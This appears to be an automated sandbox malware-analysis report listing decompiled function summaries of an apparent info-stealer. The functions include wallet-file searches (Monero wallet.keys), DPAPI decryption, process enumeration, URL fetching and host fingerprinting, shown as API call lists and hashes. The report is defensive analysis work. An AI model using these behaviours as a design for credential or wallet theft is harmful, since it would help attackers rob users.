Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: c2fed7f1d0ade4c2f60bfea7bf5505e43dba2e661de70ac98742b25746e216a2
Instruction ID: 64caca25336942d316fa891d9a49f5f8238c8288d6ccab08181a1fe29aa8be05
Opcode Fuzzy Hash: c2fed7f1d0ade4c2f60bfea7bf5505e43dba2e661de70ac98742b25746e216a2
Instruction Fuzzy Hash: 02913072900209E7CB14FB74EC9AEED737DBB84300F40856DF84A56241EE399F589B92

Function 007D7630 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 007DA110: lstrcpy.KERNEL32(007E0DFF,00000000), ref: 007DA158

GetKeyboardLayoutList.USER32(00000000,00000000,007E059F), ref: 007D7681
LocalAlloc.KERNEL32(00000040,?), ref: 007D7699
GetKeyboardLayoutList.USER32(?,00000000), ref: 007D76AD
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 007D7702
LocalFree.KERNEL32(00000000), ref: 007D77C2

Strings

/ , xrefs: 007D771F

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 9cde66e21b046ce184d40fa349cc5fdb38b14ef7f78415a419aa85d7df68a0e7
Instruction ID: 51e51cc1ec20950c019fe06704ad09888fbe7bf45426ed847017c8ed82ece013
Opcode Fuzzy Hash: 9cde66e21b046ce184d40fa349cc5fdb38b14ef7f78415a419aa85d7df68a0e7
Instruction Fuzzy Hash: F5416C7194521CEBCB24DB54DC9DBEDB778FB48300F20419AE00A66281DB786F84CFA1

Function 007C5000 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 007C501A
RtlAllocateHeap.NTDLL(00000000), ref: 007C5021
InternetOpenA.WININET(007E0DC7,00000000,00000000,00000000,00000000), ref: 007C503A
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 007C5061
InternetReadFile.WININET(?,?,00000400,00000000), ref: 007C5091
InternetCloseHandle.WININET(?), ref: 007C5109
InternetCloseHandle.WININET(?), ref: 007C5116

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: c2ff9ca15500d8b660e48bc6da0cfb430d59b46a4be8f63edb7b54c9c887f2cd
Instruction ID: 1d534e1c1a35031454b3d9c71af5709e58a6d7bd1d3d63458cfb9bc5b3ea3109
Opcode Fuzzy Hash: c2ff9ca15500d8b660e48bc6da0cfb430d59b46a4be8f63edb7b54c9c887f2cd
Instruction Fuzzy Hash: 4B31F6F4A04218ABDB20CF54DC85BDDB7B5BB48304F1085D9BA09A7281D7B46EC59F98

Function 007CE270 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 007DA110: lstrcpy.KERNEL32(007E0DFF,00000000), ref: 007DA158

Part of subcall function 007DA2F0: lstrcpy.KERNEL32(00000000,?), ref: 007DA342
Part of subcall function 007DA2F0: lstrcat.KERNEL32(00000000), ref: 007DA352

Part of subcall function 007DA380: lstrlen.KERNEL32(?,012D9098,?,\Monero\wallet.keys,007E0DFF), ref: 007DA395
Part of subcall function 007DA380: lstrcpy.KERNEL32(00000000), ref: 007DA3D4
Part of subcall function 007DA380: lstrcat.KERNEL32(00000000,00000000), ref: 007DA3E2

Part of subcall function 007DA270: lstrcpy.KERNEL32(?,007E0DFF), ref: 007DA2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,007E0C1F), ref: 007CE2E2
StrCmpCA.SHLWAPI(?,007E149C), ref: 007CE332
StrCmpCA.SHLWAPI(?,007E14A0), ref: 007CE348
FindNextFileA.KERNEL32(000000FF,?), ref: 007CEA1F

Strings

\*.*, xrefs: 007CE28D

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 7bade2b0b7d5e1b2e9622efc0ba36b54285e95f33836d16951016e2e23f9739a
Instruction ID: e4a3ea95bd37e36515c6f704f25ba501fcf176123be1e451e5f65ed2b098fa2e
Opcode Fuzzy Hash: 7bade2b0b7d5e1b2e9622efc0ba36b54285e95f33836d16951016e2e23f9739a
Instruction Fuzzy Hash: 36124F71910119EACF18FB60DC9AEED7339BF54300F4441AEB50A52291EF796F48CBA2

Function 007D90A0 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 007D90BE
Process32First.KERNEL32(007E0AB3,00000128), ref: 007D90D2
Process32Next.KERNEL32(007E0AB3,00000128), ref: 007D90E7
StrCmpCA.SHLWAPI(?,00000000), ref: 007D90FC
CloseHandle.KERNEL32(007E0AB3), ref: 007D911A

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 246e8cafd8f8b6d70d5df90bc58c0af81decbc2e009968eceb6a3ca5244e6f62
Instruction ID: da4dd61faeb86da5f621da92fc3330a5ba68057e70215601764b0599326fe350
Opcode Fuzzy Hash: 246e8cafd8f8b6d70d5df90bc58c0af81decbc2e009968eceb6a3ca5244e6f62
Instruction Fuzzy Hash: F6014875A1020CEBDB10DFA4CD89BEDBBF8AB08701F044189AA09AB240DB759E44DF60

Function 007D74D0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,012DE548,00000000,?,007E0DE0,00000000,?,00000000,00000000), ref: 007D7503
RtlAllocateHeap.NTDLL(00000000), ref: 007D750A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,012DE548,00000000,?,007E0DE0,00000000,?,00000000,00000000,?), ref: 007D751D
wsprintfA.USER32 ref: 007D7557

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 65791ec6417fde41bf3be1e0c5c189b346012ca8f6dcb37e7b660404a5557c09
Instruction ID: 738ff9fd1e4d1ba3be71d955477b5f080d6b3cdf6a273185357b176cacb1c87c
Opcode Fuzzy Hash: 65791ec6417fde41bf3be1e0c5c189b346012ca8f6dcb37e7b660404a5557c09
Instruction Fuzzy Hash: 3A118EB190A258EBEB20CB54EC85FA9B778FB04721F10439AE90A972D0D7785E44CB91

Function 007C9BB0 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 007C9BD4
LocalAlloc.KERNEL32(00000040,00000000), ref: 007C9BF3
LocalFree.KERNEL32(?), ref: 007C9C23

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: df50e779bc8cf9afd182de7e54b326380390b0dfdeb5c990224d6f81bea71fd0
Instruction ID: 0b7180cc90651913c66c0a6b7cd70be5d4a4b3f9d22d21324c5e6634d3cbe981
Opcode Fuzzy Hash: df50e779bc8cf9afd182de7e54b326380390b0dfdeb5c990224d6f81bea71fd0
Instruction Fuzzy Hash: 4C11B7B8A00209EFDB04DFA4D989EAEB7B5FF89300F104558E915AB350D774AE51CF61

Function 007D72F0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,007C11B7), ref: 007D7320
RtlAllocateHeap.NTDLL(00000000), ref: 007D7327
GetUserNameA.ADVAPI32(00000104,00000104), ref: 007D733F

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: bcd6b250e7bc778071f86879859fa831822927a644c90d43b0c282e55da0e9ca
Instruction ID: b39e61cad951872207d5b0daf94c2e1b73b31107c9d129dd6d38cb239e8e8e98
Opcode Fuzzy Hash: bcd6b250e7bc778071f86879859fa831822927a644c90d43b0c282e55da0e9ca
Instruction Fuzzy Hash: 72F04FB1958248AFC714DF98DD85BAEBBB8FB04B21F10021AFA15A7780D7745904CBA1

Function 007D7970 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(007E0DFC), ref: 007D79A0
wsprintfA.USER32 ref: 007D79B6

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 7d3428b8720c3febc7ac56ab1218fb8147fffa5d949a6aece627c7e380463a79
Instruction ID: 83ce96e667f5203babe274ee0c5dc2d2aa71ff0474755f6dfc2ac51d6e63d971
